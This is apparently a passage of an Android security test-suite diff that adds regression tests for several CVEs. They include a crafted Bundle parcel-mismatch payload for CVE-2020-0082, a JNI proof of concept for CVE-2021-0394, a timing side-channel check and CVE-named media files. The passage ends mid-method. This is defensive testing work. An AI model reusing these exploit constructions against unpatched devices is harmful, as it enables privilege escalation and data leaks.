+import android.platform.test.annotations.SecurityTest;
import android.provider.Settings;
import android.provider.Settings.SettingNotFoundException;
import android.provider.Settings.System;
@@ -41,6 +44,7 @@
public class Settings_SystemTest {
private static final String INT_FIELD = System.END_BUTTON_BEHAVIOR;
private static final String LONG_FIELD = System.SCREEN_OFF_TIMEOUT;
+ private static final String FLOAT_FIELD = System.FONT_SCALE;
private static final String STRING_FIELD = System.NEXT_ALARM_FORMATTED;
@BeforeClass
@@ -93,6 +97,7 @@
// insert 4 rows, and update 1 rows
assertTrue(System.putInt(cr, INT_FIELD, 2));
assertTrue(System.putLong(cr, LONG_FIELD, 20l));
+ assertTrue(System.putFloat(cr, FLOAT_FIELD, 1.3f));
assertTrue(System.putString(cr, STRING_FIELD, stringValue));
c = cr.query(System.CONTENT_URI, null, null, null, null);
@@ -102,6 +107,7 @@
// get these rows to assert
assertEquals(2, System.getInt(cr, INT_FIELD));
assertEquals(20l, System.getLong(cr, LONG_FIELD));
+ assertEquals(1.3f, System.getFloat(cr, FLOAT_FIELD), 0.001);
assertEquals(stringValue, System.getString(cr, STRING_FIELD));
c = cr.query(System.CONTENT_URI, null, null, null, null);
@@ -134,6 +140,38 @@
}
}
+ /**
+ * Verifies that the invalid values for the font scale setting are rejected.
+ */
+ @SecurityTest(minPatchLevel = "2021-02")
+ @Test
+ public void testSystemSettingsRejectInvalidFontSizeScale() throws SettingNotFoundException {
+ final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+ // First put in a valid value
+ assertTrue(System.putFloat(cr, FLOAT_FIELD, 1.15f));
+ try {
+ assertFalse(System.putFloat(cr, FLOAT_FIELD, Float.MAX_VALUE));
+ fail("Should throw");
+ } catch (IllegalArgumentException e) {
+ }
+ try {
+ assertFalse(System.putFloat(cr, FLOAT_FIELD, -1f));
+ fail("Should throw");
+ } catch (IllegalArgumentException e) {
+ }
+ try {
+ assertFalse(System.putFloat(cr, FLOAT_FIELD, 0.1f));
+ fail("Should throw");
+ } catch (IllegalArgumentException e) {
+ }
+ try {
+ assertFalse(System.putFloat(cr, FLOAT_FIELD, 30.0f));
+ fail("Should throw");
+ } catch (IllegalArgumentException e) {
+ }
+ assertEquals(1.15f, System.getFloat(cr, FLOAT_FIELD), 0.001);
+ }
+
@Test
public void testGetDefaultValues() {
final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
diff --git a/tests/tests/renderscript/libcoremathtestcpp/Android.bp b/tests/tests/renderscript/libcoremathtestcpp/Android.bp
index d6c48c1..98717ea 100644
--- a/tests/tests/renderscript/libcoremathtestcpp/Android.bp
+++ b/tests/tests/renderscript/libcoremathtestcpp/Android.bp
@@ -16,10 +16,6 @@
// This is the shared library included by the JNI test app.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libcoremathtestcpp_jni",
srcs: ["CoreMathTestJni.cpp"],
diff --git a/tests/tests/resolverservice/Android.bp b/tests/tests/resolverservice/Android.bp
index b2187f8..af92ff1 100644
--- a/tests/tests/resolverservice/Android.bp
+++ b/tests/tests/resolverservice/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsResolverServiceTestCases",
sdk_version: "system_current",
diff --git a/tests/tests/resourcesloader/Android.bp b/tests/tests/resourcesloader/Android.bp
index d220e0a..07c0517 100644
--- a/tests/tests/resourcesloader/Android.bp
+++ b/tests/tests/resourcesloader/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsResourcesLoaderTests",
defaults: ["cts_defaults"],
@@ -72,4 +68,4 @@
cmd: "mkdir -p $(genDir)/assets/ && cp $(in) $(genDir)/assets/ && " +
"$(location soong_zip) -o $(out) " +
"-L 0 -C $(genDir) -D $(genDir)/assets/"
-}
+}
\ No newline at end of file
diff --git a/tests/tests/resourcesloader/resources/Android.bp b/tests/tests/resourcesloader/resources/Android.bp
index 8a923f8..8454206 100644
--- a/tests/tests/resourcesloader/resources/Android.bp
+++ b/tests/tests/resourcesloader/resources/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsResourcesLoaderTests_ProviderOne",
manifest: "AndroidManifestApp.xml",
@@ -116,4 +112,4 @@
asset_dirs: ["provider4/assets"],
resource_dirs: ["provider4/res", "provider_stable/res"],
aaptflags: ["-0 .txt"]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/role/Android.bp b/tests/tests/role/Android.bp
index ca4939a..0235f65 100644
--- a/tests/tests/role/Android.bp
+++ b/tests/tests/role/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsRoleTestCases",
sdk_version: "test_current",
@@ -35,7 +31,7 @@
test_suites: [
"cts",
"general-tests",
- "mts",
+ "mts-permission",
],
data: [
diff --git a/tests/tests/role/CtsRoleTestApp/Android.bp b/tests/tests/role/CtsRoleTestApp/Android.bp
index 595afe3..ac9a6c1 100644
--- a/tests/tests/role/CtsRoleTestApp/Android.bp
+++ b/tests/tests/role/CtsRoleTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsRoleTestApp",
sdk_version: "test_current",
diff --git a/tests/tests/role/CtsRoleTestApp28/Android.bp b/tests/tests/role/CtsRoleTestApp28/Android.bp
index 462ab04..0e82deb 100644
--- a/tests/tests/role/CtsRoleTestApp28/Android.bp
+++ b/tests/tests/role/CtsRoleTestApp28/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsRoleTestApp28",
sdk_version: "test_current",
diff --git a/tests/tests/rsblas/libbnnmdata/Android.bp b/tests/tests/rsblas/libbnnmdata/Android.bp
index 668f607..f9ffb54 100644
--- a/tests/tests/rsblas/libbnnmdata/Android.bp
+++ b/tests/tests/rsblas/libbnnmdata/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_library_shared {
name: "libbnnmdata_jni",
srcs: ["test_data.cpp"],
diff --git a/tests/tests/rscpp/librscpptest/Android.mk b/tests/tests/rscpp/librscpptest/Android.mk
index 41534b7..f9370cc 100644
--- a/tests/tests/rscpp/librscpptest/Android.mk
+++ b/tests/tests/rscpp/librscpptest/Android.mk
@@ -19,8 +19,6 @@
include $(CLEAR_VARS)
LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
LOCAL_MODULE := librscpptest_jni
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_TAGS := optional
LOCAL_SRC_FILES := \
@@ -56,3 +54,6 @@
LOCAL_NDK_STL_VARIANT := c++_static
include $(BUILD_SHARED_LIBRARY)
+
+
+
diff --git a/tests/tests/sax/Android.bp b/tests/tests/sax/Android.bp
index da59526..8a1a30a 100644
--- a/tests/tests/sax/Android.bp
+++ b/tests/tests/sax/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSaxTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
index eae5e9b..fc241b3 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp1/Android.bp
@@ -1,10 +1,6 @@
//////////////////////////////////////////////////////////////////
// Signed Package
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_import {
name: "signed-CtsSecureElementAccessControlTestCases1",
apk: "apk/signed-CtsSecureElementAccessControlTestCases1.apk",
diff --git a/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
index 5ba6505..1582a1c 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp2/Android.bp
@@ -1,10 +1,6 @@
//////////////////////////////////////////////////////////////////
// Signed Package
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_import {
name: "signed-CtsSecureElementAccessControlTestCases2",
apk: "apk/signed-CtsSecureElementAccessControlTestCases2.apk",
diff --git a/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp b/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
index a14a327..7ae3cf6 100644
--- a/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
+++ b/tests/tests/secure_element/access_control/AccessControlApp3/Android.bp
@@ -1,10 +1,6 @@
//////////////////////////////////////////////////////////////////
// Signed Package
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_import {
name: "signed-CtsSecureElementAccessControlTestCases3",
apk: "apk/signed-CtsSecureElementAccessControlTestCases3.apk",
diff --git a/tests/tests/secure_element/omapi/Android.bp b/tests/tests/secure_element/omapi/Android.bp
index 4cee16e..cd6362b 100644
--- a/tests/tests/secure_element/omapi/Android.bp
+++ b/tests/tests/secure_element/omapi/Android.bp
@@ -15,10 +15,6 @@
//////////////////////////////////////////////////////////////////
// Signed Package
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_import {
name: "signed-CtsOmapiTestCases",
apk: "apk/signed-CtsOmapiTestCases.apk",
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index e79cd7e..677222d 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSecurityTestCases",
defaults: ["cts_defaults"],
@@ -31,6 +27,7 @@
"compatibility-common-util-devicesidelib",
"guava",
"platform-test-annotations",
+ "hamcrest-library",
],
libs: [
"android.test.runner",
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index ad23b07..a8cf61a 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -102,6 +102,25 @@
<data android:mimeType="application/vnd.android.package-archive" />
</intent-filter>
</receiver>
+
+ <activity android:name="android.security.cts.CVE_2021_0339$FirstActivity"
+ android:label="TAT Anim1"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
+ <activity android:name="android.security.cts.CVE_2021_0339$SecondActivity"
+ android:label="TAT Anim2"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index ad7fa33..a7d1ede 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -21,6 +21,7 @@
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsDeviceInfo.apk" />
<option name="test-file-name" value="CtsSecurityTestCases.apk" />
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
diff --git a/tests/tests/security/OWNERS b/tests/tests/security/OWNERS
index d6bf090..5787345 100644
--- a/tests/tests/security/OWNERS
+++ b/tests/tests/security/OWNERS
@@ -4,3 +4,4 @@
nnk@google.com
mspector@google.com
manjaepark@google.com
+cdombroski@google.com
diff --git a/tests/tests/security/jni/Android.bp b/tests/tests/security/jni/Android.bp
index 5d5f6d1..60f9348 100644
--- a/tests/tests/security/jni/Android.bp
+++ b/tests/tests/security/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_library {
name: "libctssecurity_jni",
srcs: [
@@ -24,6 +20,7 @@
"android_security_cts_NativeCodeTest.cpp",
"android_security_cts_MMapExecutableTest.cpp",
"android_security_cts_EncryptionTest.cpp",
+ "android_security_cts_cve_2021_0394.cpp",
],
shared_libs: [
"libcrypto",
diff --git a/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp b/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
index 7490d1a..06e57f1 100644
--- a/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
+++ b/tests/tests/security/jni/CtsSecurityJniOnLoad.cpp
@@ -22,6 +22,7 @@
extern int register_android_security_cts_SeccompTest(JNIEnv*);
extern int register_android_security_cts_MMapExecutableTest(JNIEnv* env);
extern int register_android_security_cts_EncryptionTest(JNIEnv* env);
+extern int register_android_security_cts_cve_2021_0394(JNIEnv* env);
jint JNI_OnLoad(JavaVM *vm, void *) {
JNIEnv *env = NULL;
@@ -46,5 +47,9 @@
return JNI_ERR;
}
+ if (register_android_security_cts_cve_2021_0394(env)) {
+ return JNI_ERR;
+ }
+
return JNI_VERSION_1_4;
}
diff --git a/tests/tests/security/jni/android_security_cts_cve_2021_0394.cpp b/tests/tests/security/jni/android_security_cts_cve_2021_0394.cpp
new file mode 100644
index 0000000..66b5792
--- /dev/null
+++ b/tests/tests/security/jni/android_security_cts_cve_2021_0394.cpp
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+#include <string.h>
+
+static constexpr char kDefaultValue = 'x';
+static constexpr size_t kStringLength = 4096;
+
+jboolean android_security_cts_cve_2021_0394_poc(JNIEnv* env, jobject thiz) {
+ (void) thiz;
+ char array[kStringLength];
+ memset(array, kDefaultValue, kStringLength - 1);
+ array[kStringLength - 1] = 0;
+ jstring s = env->NewStringUTF(array);
+ jboolean isVulnerable = false;
+ char invalidChars[] = { '\xc0', '\xe0', '\xf0' };
+ for (int c = 0; c < sizeof(invalidChars) / sizeof(char); ++c) {
+ char invalid = invalidChars[c];
+ array[kStringLength - 2] = invalid;
+ s = env->NewStringUTF(array);
+ const char* UTFChars = env->GetStringUTFChars(s, nullptr);
+ if (UTFChars[kStringLength - 2] != '?') {
+ isVulnerable = true;
+ }
+ env->ReleaseStringUTFChars(s, UTFChars);
+ }
+ return isVulnerable;
+}
+
+static JNINativeMethod gMethods[] = { { "poc", "()Z",
+ (void*) android_security_cts_cve_2021_0394_poc }, };
+
+int register_android_security_cts_cve_2021_0394(JNIEnv* env) {
+ jclass clazz = env->FindClass("android/security/cts/CVE_2021_0394");
+ return env->RegisterNatives(clazz, gMethods,
+ sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/tests/security/native/encryption/Android.bp b/tests/tests/security/native/encryption/Android.bp
index 2da0ad0..b6b9d27 100644
--- a/tests/tests/security/native/encryption/Android.bp
+++ b/tests/tests/security/native/encryption/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CtsNativeEncryptionTestCases",
cflags: [
diff --git a/tests/tests/security/native/verified_boot/Android.bp b/tests/tests/security/native/verified_boot/Android.bp
index 19b54cd..5b660972 100644
--- a/tests/tests/security/native/verified_boot/Android.bp
+++ b/tests/tests/security/native/verified_boot/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CtsNativeVerifiedBootTestCases",
cflags: [
diff --git a/tests/tests/security/res/anim/translate1.xml b/tests/tests/security/res/anim/translate1.xml
new file mode 100644
index 0000000..da2ee56
--- /dev/null
+++ b/tests/tests/security/res/anim/translate1.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="utf-8"?>
+<translate
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:fromYDelta="0%"
+ android:toYDelta="-100%"
+ android:interpolator="@android:anim/linear_interpolator"
+ android:duration="10000" />
diff --git a/tests/tests/security/res/anim/translate2.xml b/tests/tests/security/res/anim/translate2.xml
new file mode 100644
index 0000000..d4bc6d9
--- /dev/null
+++ b/tests/tests/security/res/anim/translate2.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="utf-8"?>
+<translate
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:fromYDelta="100%"
+ android:toYDelta="0%"
+ android:interpolator="@android:anim/linear_interpolator"
+ android:duration="10000" />
diff --git a/tests/tests/security/res/raw/bug170240631_ts.mp4 b/tests/tests/security/res/raw/bug170240631_ts.mp4
new file mode 100644
index 0000000..9891dc6
--- /dev/null
+++ b/tests/tests/security/res/raw/bug170240631_ts.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_9474.mp4 b/tests/tests/security/res/raw/cve_2018_9474.mp4
new file mode 100644
index 0000000..3ff485a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9474.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14013.mp4 b/tests/tests/security/res/raw/cve_2019_14013.mp4
new file mode 100644
index 0000000..2328751
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14013.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4
new file mode 100644
index 0000000..cb2df96
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2108_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2223_framelen.mp4 b/tests/tests/security/res/raw/cve_2019_2223_framelen.mp4
new file mode 100644
index 0000000..a1c3cfc
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2223_framelen.mp4
@@ -0,0 +1,5 @@
+29
+12
+9
+23
+73
diff --git a/tests/tests/security/res/raw/cve_2019_2223_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2223_hevc.mp4
new file mode 100644
index 0000000..f9d5dbc
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2223_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_11122.mkv b/tests/tests/security/res/raw/cve_2020_11122.mkv
new file mode 100644
index 0000000..f0fa08f
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_11122.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_11139.flac b/tests/tests/security/res/raw/cve_2020_11139.flac
new file mode 100644
index 0000000..3700ba9
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_11139.flac
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_11168.mkv b/tests/tests/security/res/raw/cve_2020_11168.mkv
new file mode 100644
index 0000000..58bf85e
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_11168.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3633.mp2 b/tests/tests/security/res/raw/cve_2020_3633.mp2
new file mode 100644
index 0000000..9c68044
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3633.mp2
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3658.mp4 b/tests/tests/security/res/raw/cve_2020_3658.mp4
new file mode 100644
index 0000000..a8ae316
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3658.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3660.mp4 b/tests/tests/security/res/raw/cve_2020_3660.mp4
new file mode 100644
index 0000000..9e0c1bf
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3660.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3661.mp4 b/tests/tests/security/res/raw/cve_2020_3661.mp4
new file mode 100644
index 0000000..e822179
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3661.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3662.mp4 b/tests/tests/security/res/raw/cve_2020_3662.mp4
new file mode 100644
index 0000000..4fd269e
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3662.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3663.mp4 b/tests/tests/security/res/raw/cve_2020_3663.mp4
new file mode 100644
index 0000000..54af26c
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3663.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3688.mp4 b/tests/tests/security/res/raw/cve_2020_3688.mp4
new file mode 100644
index 0000000..18ec0ad
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3688.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2021_0312.wav b/tests/tests/security/res/raw/cve_2021_0312.wav
new file mode 100644
index 0000000..aa144ec
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2021_0312.wav
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 47730e1..59d965d 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -16,10 +16,13 @@
package android.security.cts;
import android.app.ActivityManager;
+import android.app.ApplicationExitInfo;
+import android.content.Context;
import android.os.IBinder;
import android.platform.test.annotations.SecurityTest;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
import junit.framework.TestCase;
import java.lang.reflect.InvocationTargetException;
@@ -76,4 +79,42 @@
assertNotNull("Expect SecurityException by attaching null application", securityException);
}
+
+ // b/166667403
+ @SecurityTest(minPatchLevel = "2021-01")
+ public void testActivityManager_appExitReasonPackageNames() {
+ final String mockPackage = "com.foo.bar";
+ final String realPackage = "com.android.compatibility.common.deviceinfo";
+ final Context context = InstrumentationRegistry.getTargetContext();
+ final ActivityManager am = context.getSystemService(ActivityManager.class);
+ try {
+ am.getHistoricalProcessExitReasons(mockPackage, 0, 0);
+ fail("Expecting SecurityException");
+ } catch (SecurityException e) {
+ // expected
+ }
+
+ final int totalLoops = 10000;
+ int mockPackagescores = 0;
+ final double tolerance = 0.2d;
+ for (int i = 0; i < totalLoops; i++) {
+ final long realPackageTiming = measureGetHistoricalProcessExitReasons(am, realPackage);
+ final long mockPackageTiming = measureGetHistoricalProcessExitReasons(am, mockPackage);
+ mockPackagescores += mockPackageTiming < realPackageTiming ? 1 : 0;
+ }
+
+ assertTrue(Math.abs((double) mockPackagescores / totalLoops - 0.5d) < tolerance);
+ }
+
+ /**
+ * Run ActivityManager.getHistoricalProcessExitReasons once, return the time spent on it.
+ */
+ private long measureGetHistoricalProcessExitReasons(ActivityManager am, String pkg) {
+ final long start = System.nanoTime();
+ try {
+ am.getHistoricalProcessExitReasons(pkg, 0, 0);
+ } catch (Exception e) {
+ }
+ return System.nanoTime() - start;
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index e7126ed..99b2ab7 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -37,6 +37,145 @@
public class AmbiguousBundlesTest extends AndroidTestCase {
+ /**
+ * b/140417434
+ * Vulnerability Behaviour: Failure via Exception
+ */
+ @SecurityTest(minPatchLevel = "2020-04")
+ public void test_android_CVE_2020_0082() throws Exception {
+
+ Ambiguator ambiguator = new Ambiguator() {
+
+ private static final int VAL_STRING = 0;
+ private static final int VAL_PARCELABLEARRAY = 16;
+ private static final int LENGTH_PARCELABLEARRAY = 4;
+ private Parcel mContextBinder;
+ private int mContextBinderSize;
+ private static final int BINDER_TYPE_HANDLE = 0x73682a85;
+ private static final int PAYLOAD_DATA_LENGTH = 54;
+
+ {
+ mContextBinder = Parcel.obtain();
+ mContextBinder.writeInt(BINDER_TYPE_HANDLE);
+ for (int i = 0; i < 20; i++) {
+ mContextBinder.writeInt(0);
+ }
+ mContextBinder.setDataPosition(0);
+ mContextBinder.readStrongBinder();
+ mContextBinderSize = mContextBinder.dataPosition();
+ }
+
+ private String fillString(int length) {
+ return new String(new char[length]).replace('\0', 'A');
+ }
+
+
+ private String stringForInts(int... values) {
+ Parcel p = Parcel.obtain();
+ p.writeInt(2 * values.length);
+ for (int value : values) {
+ p.writeInt(value);
+ }
+ p.writeInt(0);
+ p.setDataPosition(0);
+ String s = p.readString();
+ p.recycle();
+ return s;
+ }
+
+ private void writeContextBinder(Parcel parcel) {
+ parcel.appendFrom(mContextBinder, 0, mContextBinderSize);
+ }
+
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ // Find key that has hash below everything else
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String key, key2;
+ int keyHash, key2Hash;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash);
+
+ do {
+ key2 = randomString(random);
+ key2Hash = key2.hashCode();
+ } while (key2Hash >= minHash || keyHash == key2Hash);
+
+ if (keyHash > key2Hash) {
+ String tmp = key;
+ key = key2;
+ key2 = tmp;
+ }
+
+ // Pad bundles
+ padBundle(postReSerialize, preReSerialize.size(), minHash, random);
+ padBundle(preReSerialize, postReSerialize.size(), minHash, random);
+
+ // Write bundle
+ Parcel parcel = Parcel.obtain();
+
+ int sizePosition = parcel.dataPosition();
+ parcel.writeInt(0);
+ parcel.writeInt(BUNDLE_MAGIC);
+ int startPosition = parcel.dataPosition();
+ parcel.writeInt(preReSerialize.size() + 2);
+
+ parcel.writeString(key);
+ parcel.writeInt(VAL_PARCELABLEARRAY);
+ parcel.writeInt(LENGTH_PARCELABLEARRAY);
+ parcel.writeString("android.os.ExternalVibration");
+ parcel.writeInt(0);
+ parcel.writeString(null);
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ writeContextBinder(parcel);
+ writeContextBinder(parcel);
+
+ parcel.writeString(null);
+ parcel.writeString(null);
+ parcel.writeString(null);
+
+ // Payload
+ parcel.writeString(key2);
+ parcel.writeInt(VAL_OBJECTARRAY);
+ parcel.writeInt(2);
+ parcel.writeInt(VAL_STRING);
+ parcel.writeString(
+ fillString(PAYLOAD_DATA_LENGTH) + stringForInts(VAL_INTARRAY, 5));
+ parcel.writeInt(VAL_BUNDLE);
+ parcel.writeBundle(postReSerialize);
+
+ // Data from preReSerialize bundle
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ // Fix up bundle size
+ int bundleDataSize = parcel.dataPosition() - startPosition;
+ parcel.setDataPosition(sizePosition);
+ parcel.writeInt(bundleDataSize);
+
+ parcel.setDataPosition(0);
+ Bundle bundle = parcel.readBundle();
+ parcel.recycle();
+ return bundle;
+ }
+ };
+
+ testAmbiguator(ambiguator);
+ }
+
/*
* b/71992105
*/
diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
new file mode 100644
index 0000000..0a533bb
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.platform.test.annotations.SecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+@SecurityTest
+@RunWith(AndroidJUnit4.class)
+public class CVE_2020_0294 {
+ private static final String TAG = "CVE_2020_0294";
+
+ /**
+ * b/170661753
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-12")
+ public void testPocCVE_2020_0294() throws Exception {
